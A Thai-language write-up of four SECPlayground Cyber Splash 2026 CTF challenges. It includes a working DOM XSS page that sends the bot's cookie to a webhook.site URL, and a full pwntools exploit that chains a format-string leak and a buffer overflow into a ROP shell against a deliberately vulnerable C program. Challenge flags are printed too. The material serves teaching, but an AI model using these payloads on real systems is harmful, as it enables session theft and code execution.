2253 words
11 minutes
SECPlayground Cyber splash 2026

SECPlayground Cyber splash 2026#

printf(“hello!!”) สวัสดีครับผม Sho นี่เป็น event แรกที่ผมได้เล่น ctf ของ secplayground ซึ่งครั้งนี้เป็นธีมสงกรานต์ 🔫💦💦

โดยโจทย์ที่ผมจะนำมาแสดงวิธีทำ มีทั้งหมด 4 โจทย์ด้วยกัน อาจน้อยหน่อยนะครับ ปล.ทีมผมตื่นแต่เช้า ทำโจทย์ไปเกือบหมดเลย555555 (ทีมงานคุณภาพ)

  • Spectrogram Secret 🟡 Miscellaneous
  • Songkran register 🟢 Application Security
  • vlogstar 🟡 Application Security
  • Fortress Leak 🟡 Pwnable

(spoil: ข้อที่ 4 ผมตั้งใจเขียนมากกกก!! อ่านให้ถึงล่ะ555555)#

เริ่มกันกับข้อง่ายๆ

1. Spectrogram Secret#

captionless imagecaptionless image

แตกไฟล์ เราจะได้ transmission.wav จากนั้นเอาเข้า Audacity

captionless image

ดูจากชื่อโจทย์ชื่อว่า “Spectrogram” เลยสันนิษฐานว่าต้องเปิดโหมด spectrogram รึเปล่า เลยลองดู

captionless image

เหมือนจะเจออะไรบางอย่างคล้ายๆ flag ลางๆ ลองปรับอะไรซักหน่อย

captionless imagecaptionless imagecaptionless imagecaptionless image

ตอนแรกก็มองไม่ชัดมาก แต่ก็ปรับหลายๆแบบ + เดาอักษรจนได้ Flag ในที่สุด

🎉🎉 misc{7N3_h1dd73_m3ssAg3_s3ssl0n}

2. Songkran register#

captionless image

เปิดเว็บมาก็ register กันก่อนเลย

captionless image

เราสามารถ View Profile ใครก็ได้ แต่มีคนคนนึงที่เราไม่สามารถ view ได้ ก็คือนาย Somchai Jaidee

captionless imageในหัว

จากนั้นเข้าไปดู view-source แล้วเจอ api จะๆ สำหรับดูข้อมูล

captionless image

เลยเปิดไปที่ http://34.21.136.202:5000/api/participant/1/qr-badge

captionless image

เราก็จะเจอ Flag ใน “staff_notes”

🎉🎉 web{iDaxFwXhaV}

3. vlogstar#

captionless image

รู้สึกเหมือนว่าข้อนี้จะเป็นข้อที่คนทำได้น้อยสุดในหมวดเว็บด้วยนะ (แอบภูมิใจ5555)

แตกไฟล์ก็จะได้ bot.js server.js และ folder “public”

captionless image

ใน folder public ก็จะมีไฟล์นิดๆ

captionless imagecaptionless image

ก่อนจะดู source-code เรามาดูเว็บกันก่อน

captionless image

โดยเว็บจะอนุญาตให้เราใส่ url website ลงไป แล้วบอทจะไปเปิด url ที่เราส่งไป

หวานเจี๊ยบ สันนิษฐานว่าเราอาจจะโจมตีผ่านช่อง input นี้

เราไปดู source-code กันบ้างดีกว่า จากการทำงานของ bot.js เวลาเปิด url ของเรามันก็จะสร้าง cookie ที่มี value เป็น flag ในเว็บของ labs (ก็คือ CHALLENGE_HOST นั่นเอง (localhost:3000) )

captionless imagecaptionless image

(httpOnly เป็น flase ก็หวานเจี๊ยบ เพราะมันหมายความว่า เราสามารถใช้ js อ่าน cookie ได้)

อีกอย่าง เว็บไซต์เป้าหมายเปิดรับ request จาก postMessage อีกด้วย (app.js) ถ้า content ของ request ผ่านการกรองอะไรหมดแล้วนั้น ก็จะถูกยัดเข้า OVERLAY_CONTAINER.innerHTML นั่นหมายความว่าเราสามารถยัด js เพื่อขโมยคุกกี้ได้ (DOM XSS)

captionless image

โดยข้อจำกัดที่เราต้องดูคือ

  1. Html allowed tags

captionless image

  1. sanitize overlay html

captionless image

  1. data-type

captionless image

สิ่งที่เราจะทำคือสร้างเว็บไซต์สำหรับขโมยคุกกี้ โดย web host ที่จะให้เว็บเรา online สามารถใช้ได้ทั้ง github หรือ vercel ได้เลย

การทำงานของเว็บที่จะไปขโมยคุกกี้ ที่เราต้องสร้างคือ

  • เปิดแท็บใหม่ (ไม่ใช่ navigate เพราะถ้าเว็บเราถูกปิด JS payload ของเราจะไม่ทำงาน)
  • ส่ง payload ผ่าน postMessage ไปที่ localhost:3000 เพื่อขโมยคุกกี้
  • ให้ payload ส่งคุกกี้กลับมาหาเราผ่าน webhook (webhook.site)

และนี่คือเว็บที่มี payload ของเราไว้ด้วย เปิดปุ๊บคุกกี้ส่งปั๊บ5555

<!DOCTYPE html>
<html>
<head><title>RachaHacker</title></head>
<body>
<h1>RachaHacker</h1>
<script>
const targetUrl = "http://localhost:3000/video.html?v=2";
const webhook = "https://webhook.site/54aa2054-094c-4d05-a576-7f7da33d4a78";
const target = window.open(targetUrl, 'exploit');
function sendPayload() {
const payload = {
type: 'overlay-update',
content: `<img/src="x"/onerror="fetch('${webhook}?c='+encodeURIComponent(document.cookie)+'&info=pwned')">`
};
// ไอ่ info=pwned เอาไว้กันเหนี่ยวเผื่อมันส่งมาแต่คุกกี้ไม่มาด้วย5555 จะได้คาดเดาปัญหาได้ง่ายขึ้น
target.postMessage(JSON.stringify(payload), '*');
}
setTimeout(sendPayload, 2000);
setTimeout(sendPayload, 4000);
fetch(webhook + "?status=rachahacker"); // ให้มันส่งมาแจ้งเตือนเฉยๆว่าบอทมัน visit แล้ว
</script>
</body>
</html>

payload -> bot -> (check-type) -> (content sanitizer) -> (ยัด Html เข้า DOM)

พร้อมแล้วก็ส่ง url ไปเลย และก้ jackpotttt!!!🎰🎰🎰🕺

captionless imagecaptionless image

🎉🎉 web{8rW07sakwm} 🎰🎰🎰🕺

4. Fortress Leak#

captionless image

สารจากฉัน: “ข้อนี้ผมไม่ได้แคปรูประหว่างทำ (หลังจากส่ง flag ตัว lab ก็จะ terminate อัตโนมัติ ทำให้กลับไปทำอีกรอบไม่ได้) writeup ข้อนี้เลยจะเป็นการเล่นกับเครื่องตัวเองเป็นหลักนะคับ

โหลดไฟล์ก่อนเลย ใน file zip ก็จะมี folder ชื่อ dist cd เข้ามาก็จะมี 4 ไฟล์

captionless image

เราลองมาเล่นโปรแกรมกันก่อนละกัน

captionless image

ก็เป็นโปรแกรม เก็บ/ส่งข้อความ และสามารถ preview ข้อความที่เก็บได้

ลองไปหาช่องโหว่ใน vuln.c กันบ้างดีกว่า

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void setup(void) {
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
}
// Helper for ROP gadgets (gcc 11+ doesn't generate __libc_csu_init)
void __attribute__((used)) gadgets(void) {
__asm__ volatile (
"pop %rdi; ret\n"
);
}
void menu(void) {
puts("\n[1] Store message");
puts("[2] Preview message");
puts("[3] Send message");
puts("[4] Exit");
printf("> ");
}
void vault(void) {
char msg[128];
int choice;
puts("\n=== Secure Message Vault ===");
while (1) {
menu();
if (scanf("%d", &choice) != 1) {
while (getchar() != '\n');
continue;
}
getchar();
switch (choice) {
case 1: {
// Store message — safe read
printf("Enter message: ");
memset(msg, 0, sizeof(msg));
read(0, msg, 127);
puts("[+] Message stored.");
break;
}
case 2: {
// Preview message — FORMAT STRING vulnerability
// Bug: uses printf(msg) instead of printf("%s", msg)
// Player can use %p to leak canary, PIE addresses, libc addresses
if (msg[0] == '\0') {
puts("[-] No message stored.");
break;
}
puts("[*] Preview:");
printf(msg);
puts("");
break;
}
case 3: {
// Send message — BUFFER OVERFLOW
// Reads up to 512 bytes into 128-byte buffer
puts("[*] Preparing to send...");
printf("Enter final message: ");
read(0, msg, 512);
puts("[+] Message sent!");
return;
}
case 4:
puts("[*] Goodbye.");
exit(0);
default:
puts("[-] Invalid option.");
break;
}
}
}
int main(void) {
setup();
puts("========================================");
puts(" FORTRESS LEAK v4.0 ");
puts(" Hardened Message Vault ");
puts("========================================");
vault();
return 0;
}

จุดที่ 1 Format String Vulnerability

case 2: {
// Preview message — FORMAT STRING vulnerability
// Bug: uses printf(msg) instead of printf("%s", msg)
// Player can use %p to leak canary, PIE addresses, libc addresses
if (msg[0] == '\0') {
puts("[-] No message stored.");
break;
}
puts("[*] Preview:");
printf(msg); // <--- จุดนี้
puts("");
break;

เราสามารถใส่ %p %p %p %p ขณะ Store Message แล้ว preview ออกมาเพื่อดูค่า leak ใน stack ,register, cannary, function (address) หรือข้อมูลสำคัญอื่นๆได้

captionless image

จุดที่ 2 Buffer Overflow

captionless image

case 3: {
// Send message — BUFFER OVERFLOW
// Reads up to 512 bytes into 128-byte buffer
puts("[*] Preparing to send...");
printf("Enter final message: ");
read(0, msg, 512); // <--- จุดนี้
puts("[+] Message sent!");
return;
}

msg ได้จองพื้นที่บน stack 128 bytes แต่ใน case 3 บอกว่ารับได้ 512 bytes ซึ่งเกินมา 384 bytes

ลอง checksec ดูว่ามี protection อะไรบ้าง

captionless image

ปัญหายังมีเรื่อง Canary, PIE, ASLR + NX แต่ก็แก้ได้เพราะมี format string vulnerability

objective:#

ขณะที่ยัด payload เราต้องกะ canary ให้พอดี ถ้าขาดหรือเกิน 1 byte โปรแกรมก็จะ crash

จะโจมตีแบบ ROP Chain โดยจะใส่ address ของ /bin/sh ลงไปใน register rdi (pop rdi;) จากนั้นก็ดึงค่าถัดไปจาก stack มาใส่ใน rip เพื่อให้ cpu ก็กระโดดไปทำงานที่ address นั้นต่อ (ret)

แล้วเราก็จะได้ shell 😈

ก่อนที่เราจะสร้าง payload เราต้องเข้าใจ stack กันก่อน

captionless image

นี่ไงๆ ผมทำสวยมั้ยย 😎

หลักการก็คล้ายๆกับ buffer overflow เลย จัด payload ให้พร้อมแล้วส่ง จากนั้น payload ก็ไปทับส่วนต่างๆในโปรแกรม

แต่แค่แตกต่างจาก bof ปกติตรงที่ว่า มันยากกว่าเดิมมาก5555

เรามาเริ่มต้นด้วยการหาตำแหน่ง offset ของ canary, PIE, libc กันก่อนดีกว่า โดยใช้ช่องโหว่ format string vul

อันดับแรกเราจะใช้ option 1 (Store message) จากนั้นพิมพ์ไปว่า:

%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p.%8$p

แล้วก็ option 2 (Preview message) & enter เราก็จะได้ leak address ต่างๆมา

[*] Preview:
0x7814f8a04643.(nil).0x7814f891c5a4.0xc.(ncil).0xa.0x2f8a045c0.0x2432252e70243125

Question: แล้วเราจะรู้ได้ยังไงว่า address ที่ได้มาคือ canary, PIE หรือ libc

Answer: ดูจากจุดสังเกต ตามด้านล่างเลย

  • canary → ลงท้ายด้วย 00 เช่น 0x40db855482f1fa00
  • PIE → ขึ้นต้นด้วย 0x55 หรือ 0x56
  • libc → ขึ้นต้นด้วย 0x7f

สุมุติเราส่ง %8pแล้วได้“0x2432252e70243125”มาสิ่งนี้จะเรียกว่าaddressและ“p แล้วได้ “0x2432252e70243125” มา สิ่งนี้จะเรียกว่า address และ “%8p” (ตำแหน่ง 8) จะเรียกว่า offset

หากเราลองเอา 0x2432252e70243125 ไปแปลงเป็น ASCII เราจะได้ “22%.p1%” ซึ่งมันคือเงาสะท้อน (Endianness) ของ input ที่เราส่งไป (%1p.p.%2p) มันเป็นหลักฐานว่า input ของเราได้ลงไปนอนใน stack เรียบร้อย โดยอยู่ที่ตำแหน่ง (offset) ที่ 8

captionless image

โอเครร เรามาหา offset กันต่อดีกว่า แต่ปัญหาก็คือเราต้องพิมพ์ตัวเลขทีละอันใน input แล้วก็ preview เรื่อยๆคงลำบาก เราเลยจะใช้ script เพื่อหา offset กัน

script:

from pwn import *
context.arch = 'amd64'
context.log_level = 'error'
def try_offset(n):
p = process('./vuln')
p.sendlineafter(b'> ', b'1')
p.sendafter(b'Enter message: ', f'%{n}$p'.encode())
# preview
p.sendlineafter(b'> ', b'2')
p.recvuntil(b'[*] Preview:\n')
leak = p.recvline().strip().decode()
p.close()
return leak
print(f"{'Offset':<8} {'Value':<20} {'Note'}")
print('-' * 50)
for i in range(1, 40):
val = try_offset(i)
note = ''
if val != '(nil)' and val.startswith('0x'):
v = int(val, 16)
if v & 0xff == 0 and v > 0x10000000000:
note = '← CANARY'
elif 0x7f0000000000 <= v <= 0x7fffffffffff:
if v > 0x7fff00000000:
note = '← STACK addr'
else:
note = '← LIBC / ld addr'
elif 0x5500000000 <= v <= 0x56ffffffffff:
note = '← PIE addr'
print(f'%{i:<7} {val:<20} {note}')

นี่คือ result

Offset Value Note
--------------------------------------------------
%1 0x7addb3a04643
%2 (nil)
%3 0x79f27451c5a4
%4 0xc
%5 (nil)
%6 0xa
%7 0x2a6e045c0
%8 0x70243825
%9 (nil)
%10 (nil)
%11 (nil)
%12 (nil)
%13 (nil)
%14 (nil)
%15 (nil)
%16 (nil)
%17 (nil)
%18 (nil)
%19 (nil)
%20 (nil)
%21 (nil)
%22 (nil)
%23 (nil)
%24 0x61bd57518d80
%25 0xa2453e3641d9ab00 ← CANARY
%26 0x7fff2f263060 ← STACK addr
%27 0x5b743d8575b3
%28 0x7fff2d935980 ← STACK addr
%29 0xd04fbb2e09047000 ← CANARY
%30 0x7ffe577a8ab0 ← LIBC / ld addr
%31 0x72594bc2a1ca
%32 0x7ffe8e4ed4b0 ← LIBC / ld addr
%33 0x7ffcfc45f168 ← LIBC / ld addr
%34 0x1719c7040
%35 0x56d6790fd552 ← PIE addr
%36 0x7fff58634918 ← STACK addr
%37 0x4301d2abac17658c
%38 0x1
%39 (nil)

สะดวกขึ้นเย๊อะะะ ถ้าหากเราลองรันหลายๆรอบแล้วดู result แต่ละรอบ จะเห็นได้เลยว่าแต่ละครั้ง ค่า address จะไม่ซ้ำกันเลย (ผลของ ASLR)

จาก result ของเรา เราจะได้ offset คร่าวๆ (ไม่แม่น 100% บางค่าอาจไม่เหมือนตามจุดสังเกต ต้องอาศัยการ verify offset ว่าได้ผลหรือไม่)

# นี่คือ offset ที่ผมทดสอบแล้วได้ผล
CANARY_OFFSET = 25
PIE_OFFSET = 27
LIBC_OFFSET = 31

ถ้าจำ objective ของเราได้ เราจะโจมตีแบบ ROP Chain ซึ่งส่วนประกอบของ ROP chain payload ประกอบด้วย :

ret_gadget, # ได้จาก pie_base + RET offset <ret>
pop_rdi, # ได้จาก pie_base + POP_RDI_RET offset <rop rdi>
binsh_addr, # ได้จาก libc_base + next(libc.search(b"/bin/sh"))
system_addr, # ได้จาก libc_base + libc.symbols["system"]

ส่วนประกอบก็เยอะ เราต้องหาทีละส่วน เริ่มจากหา offset ของ <rop rdi; ret> กันก่อน โดยหา assembly ที่มีคำสั่ง <rop rdi; ret> สามารถใช้ command นี้ได้เลย

ROPgadget --binary ./vuln | grep "pop rdi ; ret"

จะเห็นว่ามันจะอยู่ที่ 0x12d2

captionless image

🌟 received : offset

ถ้าเปรียบ <pop rdi;> คือมือที่หยิบ /bin/sh ไปวางบน register rdi, คงเป็นตัวบอก cpu ว่าต้องไปรันคำสั่งที่ไหนต่อ และเราจะให้มันรัน /bin/sh ของเรา

งั้นมาหา offset ของ ของเรากันดีกว่า

แต่โชคดี จากที่เราเจอ <rop rdi;> มันมี ติดข้างหลังมาด้วย ( ; หมายความว่า มันจะทำงานต่อกัน) แสดงว่า address มันอยู่ติดกัน (ROPgadget เห็นว่ามันทำงานต่อกัน เลยแสดง address เพียงอันเดียว) เพื่อ offset ที่ชัดเจนกว่านี้ เราจะเข้า gdb ไปดูโดยอ้างอิงจาก 0x12d2

gdb ./vuln

ใช้คำสั่ง info function เพื่อดู address ของ function

address ของ <pop rdi;> มันอยู่ 0x12d2 เลขที่ใกล้เคียงก็คือ function gadget ที่อยู่ address 0x12b7

(gdb) info function
All defined functions:
Non-debugging symbols:
0x0000000000001000 _init
0x00000000000010c0 __cxa_finalize@plt
0x00000000000010d0 puts@plt
0x00000000000010e0 __stack_chk_fail@plt
0x00000000000010f0 setbuf@plt
0x0000000000001100 printf@plt
0x0000000000001110 memset@plt
0x0000000000001120 read@plt
0x0000000000001130 getchar@plt
0x0000000000001140 __isoc99_scanf@plt
0x0000000000001150 exit@plt
0x0000000000001160 _start
0x0000000000001190 deregister_tm_clones
0x00000000000011c0 register_tm_clones
0x0000000000001200 __do_global_dtors_aux
0x0000000000001240 frame_dummy
0x0000000000001249 setup
0x00000000000012b7 gadgets
0x00000000000012eb menu
0x000000000000136d vault
0x0000000000001552 main
0x00000000000015d0 _fini

พิมพ์ว่า disass gadgets เพื่อดู assembly

จะเห็นเลยว่า อยู่ติดกับ จริงๆด้วย นั่นคือ 0x12d3

(gdb) disass gadgets
Dump of assembler code for function gadgets:
0x00000000000012b7 <+0>: endbr64
0x00000000000012bb <+4>: push %rbp
0x00000000000012bc <+5>: mov %rsp,%rbp
0x00000000000012bf <+8>: sub $0x10,%rsp
0x00000000000012c3 <+12>: mov %fs:0x28,%rax
0x00000000000012cc <+21>: mov %rax,-0x8(%rbp)
0x00000000000012d0 <+25>: xor %eax,%eax
0x00000000000012d2 <+27>: pop %rdi
0x00000000000012d3 <+28>: ret
0x00000000000012d4 <+29>: nop
0x00000000000012d5 <+30>: mov -0x8(%rbp),%rax
0x00000000000012d9 <+34>: sub %fs:0x28,%rax
0x00000000000012e2 <+43>: je 0x12e9 <gadgets+50>
0x00000000000012e4 <+45>: call 0x10e0 <__stack_chk_fail@plt>
0x00000000000012e9 <+50>: leave
0x00000000000012ea <+51>: ret

🌟 received : offset

ต่อไปเรามาหาค่า PIE base กันดีกว่า (เพราะเราจะ craft ret_gadget & pop_rdi)

โดยได้จาก เอา offset ของ pie (%27$p) นำไป leak address ออกมา แล้วลบด้วย offset ของ call.*vault (ที่เรียก address มาโหลด)

ใช้คำสั่ง

objdump -d ./vuln | grep -A3 "call.*vault"
15ae: e8 ba fd ff ff call 136d <vault>
15b3: b8 00 00 00 00 mov $0x0,%eax
15b8: 48 8b 55 f8 mov -0x8(%rbp),%rdx
15bc: 64 48 2b 14 25 28 00 sub %fs:0x28,%rdx

เราจะใช้ 0x15b3 เพราะ instrcution ถัดจาก call คือ offset ที่แท้จริง

pie_base = pie_leak — 0x15b3

(pie_leak คือ address ที่ได้จาก %27$p)

🌟 received : pie_base

อีกอันนึงที่สำคัญคือการหาค่า libc base ซึ่งเราก็ต้องหาค่า libc_start_offset กันก่อน

เริ่มจาก ผมจะใช้เครื่องมือ gdb ในการหา address ของ vault function

เราต้องการ offset ของ printf ใน case2 เราก็ไล่หา text ที่มีคำว่า call printf@plt ซึ่งจาก .c printf ที่เราต้องการจะอยู่ลำดับที่ 2 จาก function vault

captionless imagecaptionless imagecaptionless image

0x00005555555554a7 <+314>: call 0x555555555100 printf@plt

และ offset ของมันคือ 314

จากนั้นสร้าง breakpoint (still in gdb na)

(gdb) break *vault+314
(gdb) run
Starting program: /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vuln
Downloading separate debug info for system-supplied DSO at 0x7ffff7fc3000
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
========================================
FORTRESS LEAK v4.0
Hardened Message Vault
========================================
=== Secure Message Vault ===
[1] Store message
[2] Preview message
[3] Send message
[4] Exit
> 1
Enter message: AAAA
[+] Message stored.
[1] Store message
[2] Preview message
[3] Send message
[4] Exit
> 2
[*] Preview:
Breakpoint 1, 0x00005555555554a7 in vault ()
(gdb) x/gx $rsp + (31-6)*8
0x7fffffffdc78: 0x00007ffff7c2a1ca
(gdb) info symbol 0x00007ffff7c2a1ca
__libc_start_call_main + 122 in section .text of /lib/x86_64-linux-gnu/libc.so.6
(gdb) info proc mappings
process 16132
Mapped address spaces:
Start Addr End Addr Size Offset Perms objfile
0x555555554000 0x555555555000 0x1000 0x0 r--p /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vuln
0x555555555000 0x555555556000 0x1000 0x1000 r-xp /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vuln
0x555555556000 0x555555557000 0x1000 0x2000 r--p /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vuln
0x555555557000 0x555555558000 0x1000 0x2000 r--p /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vuln
0x555555558000 0x555555559000 0x1000 0x3000 rw-p /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vuln
0x7ffff7c00000 0x7ffff7c28000 0x28000 0x0 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7c28000 0x7ffff7db0000 0x188000 0x28000 r-xp /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7db0000 0x7ffff7dff000 0x4f000 0x1b0000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7dff000 0x7ffff7e03000 0x4000 0x1fe000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e03000 0x7ffff7e05000 0x2000 0x202000 rw-p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e05000 0x7ffff7e12000 0xd000 0x0 rw-p
0x7ffff7fb1000 0x7ffff7fb4000 0x3000 0x0 rw-p
0x7ffff7fbd000 0x7ffff7fbf000 0x2000 0x0 rw-p
0x7ffff7fbf000 0x7ffff7fc3000 0x4000 0x0 r--p [vvar]
0x7ffff7fc3000 0x7ffff7fc5000 0x2000 0x0 r-xp [vdso]
0x7ffff7fc5000 0x7ffff7fc6000 0x1000 0x0 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7fc6000 0x7ffff7ff1000 0x2b000 0x1000 r-xp /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ff1000 0x7ffff7ffb000 0xa000 0x2c000 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
--Type <RET> for more, q to quit, c to continue without paging--ๆ
0x7ffff7ffb000 0x7ffff7ffd000 0x2000 0x36000 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffd000 0x7ffff7fff000 0x2000 0x38000 rw-p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffffffde000 0x7ffffffff000 0x21000 0x0 rw-p [stack]

start address objfile ของ libc.so.6 คือ 0x7ffff7c00000

จากนั้นเราจะเอา 0x7ffff7c2a1ca ลบกับ 0x7ffff7c00000

python3 -c "print(hex(0x7ffff7c2a1ca - 0x7ffff7c00000))"
# จะได้ 0x2a1ca

Finally we got libc_start_offset = 0x2a1ca

และ libc base = libc leak address — libc_start_offset

🌟 received : libc_base

แต่เราก็มีสิ่งสำคัญอย่างนึง คือตำแหน่งของ /bin/sh และ system() ซึ่งเราจะหาจาก ./libc.so.6 ในเมื่อเรามี libc_base การหาของพวกนี้ก็ง่ายขึ้นเท่าตัว

สามารถใช้ pwntool (python library) หาเองได้ หรือเราจะหาเองก็ได้เช่นกัน

วิธีหาของ /bin/sh ใช้คำสั่ง

strings -tx ./libc.so.6 | grep "/bin/sh"

result:

kira@LAPTOP-MUHREJKN:/Fortress Leak/dist$ strings -tx ./libc.so.6 | grep "/bin/sh"
1cb42f /bin/sh

binsh = libc_base + 0x1cb42f

🌟 received : binsh offset

วิธีหาของ system ใช้คำสั่ง

readelf -s ./libc.so.6 | grep " system"

result:

kira@LAPTOP-MUHREJKN:/Fortress Leak/dist$ readelf -s ./libc.so.6 | grep " system"
1050: 0000000000058750 45 FUNC WEAK DEFAULT 17 system@@GLIBC_2.2.5

system = libc_base + 0x58750

🌟 received : system offset

ถ้าเป็น python code ก็จะประมาณนี้ ง่ายกว่าเย๊อะะ

system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))

เรามาสรุปวัตถุดิบของเรากันดีกว่า

POP_RDI_RET = 0x12d2
RET = 0x12d3
CANARY_OFFSET = 25
PIE_OFFSET = 27
LIBC_OFFSET = 31
pie_base = pie_leak - 0x15b3
libc_start_offset = 0x2a1ca
libc_base = lib_leak - libc_start_offset
system_addr = libc_base + 0x58750
binsh_addr = libc_base + 0x1cb42f

สิ่งที่ต้องระวังคือ ระยะห่าง bytes โดยเราจะคำนวณจากระยะของ offset

msg[0] → canary = 0x90 - 0x08 = 0x88 = 136 bytes
msg[0] → saved rbp = 0x90 + 0x00 = 0x90 = 144 bytes
msg[0] → ret addr = 0x90 + 0x08 = 0x98 = 152 bytes

ไม่รวม choice (int) 4 bytes นะครับ

และหน้าตา payload ของเราคร่าวๆจะได้ประมาณนี้

# padding
payload = b"A" * 0x88 # 136 bytes
# canary
payload += p64(canary) # 8 bytes = canary ที่ leak มา
# fake rbp
payload += b"B" * 8 # 8 bytes = fake saved rbp
# จุด ROP chain ของเรา
payload += p64(ret_gadget) # 8 bytes = stack alignment
payload += p64(pop_rdi) # 8 bytes = gadget
payload += p64(binsh_addr) # 8 bytes = "/bin/sh"
payload += p64(system_addr) # 8 bytes = system()

ตอนนี้เราก็พร้อม exploit กันแล้ว!!#

ผมจะทิ้ง script สำหรับ exploit ให้

from pwn import *
BINARY = "./vuln"
LIBC = "./libc.so.6"
p = process(BINARY)
elf = ELF(BINARY, checksec=False)
context.arch = 'amd64'
try:
libc = ELF(LIBC, checksec=False)
except:
libc = None
warn("libc.so.6 not found — ต้อง set libc offset เอง")
POP_RDI_RET = 0x12d2
RET = 0x12d3
CANARY_OFFSET = 25
PIE_OFFSET = 27
LIBC_OFFSET = 31
def do_leak():
fmt = f"%{CANARY_OFFSET}$p|%{PIE_OFFSET}$p|%{LIBC_OFFSET}$p"
p.sendlineafter(b"> ", str(1).encode())
p.sendafter(b"Enter message: ", fmt.encode())
p.sendlineafter(b"> ", str(2).encode())
p.recvuntil(b"[*] Preview:\n")
raw = p.recvline().decode().strip()
parts = raw.split("|")
canary = int(parts[0], 16)
pie_leak = int(parts[1], 16)
lib_leak = int(parts[2], 16)
pie_base = pie_leak - 0x15b3
libc_start_offset = 0x2a1ca
libc_base = lib_leak - libc_start_offset
log.success(f"Canary : {hex(canary)}")
log.success(f"PIE : {hex(pie_base)}")
log.success(f"libc : {hex(libc_base)}")
return canary, pie_base, libc_base
def do_exploit(canary, pie_base, libc_base):
pop_rdi = pie_base + POP_RDI_RET
ret_gadget = pie_base + RET
if libc:
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
print("libc na")
else:
system_addr = libc_base + 0x58750
binsh_addr = libc_base + 0x1cb42f
print("libc + hex")
log.info(f"system() : {hex(system_addr)}")
log.info(f"/bin/sh : {hex(binsh_addr)}")
log.info(f"pop rdi : {hex(pop_rdi)}")
padding = b"A" * 0x88
fake_rbp = b"B" * 8
rop = flat(
ret_gadget,
pop_rdi,
binsh_addr,
system_addr,
)
payload = padding + p64(canary) + fake_rbp + rop
p.sendlineafter(b"> ", str(3).encode())
p.sendafter(b"Enter final message: ", payload)
p.recvline() # "[+] Message sent!"
if __name__ == "__main__":
canary, pie_base, libc_base = do_leak()
print(f"Canary: {hex(canary)}")
print(f"PIE: {hex(pie_base)}")
print(f"libc: {hex(libc_base)}")
do_exploit(canary, pie_base, libc_base)
p.interactive()

จากนั้นก็รัน exploit.py เลยย

captionless image

เราก็จะได้ shell ในที่สุด!!!

หากข้อมูลผิดหรือตกบกพร่องตรงไหนก็ขออภัยไว้ ณ ที่นี้ สามารถติหรือทิ้งความคิดเห็นได้นะครับ จะนำมาปรับปรุง

นี่ก็เป็นการเขียนหมวด pwn จริงๆจังๆ ครั้งแรกในเหล่าบรรดา writeup ของผมเลย

ก็ขอขอบคุณคนที่อ่านจนจบถึงจุดนี้ THANK YOUUUUU!!

captionless image

#SECPlaygroundCybersplash2026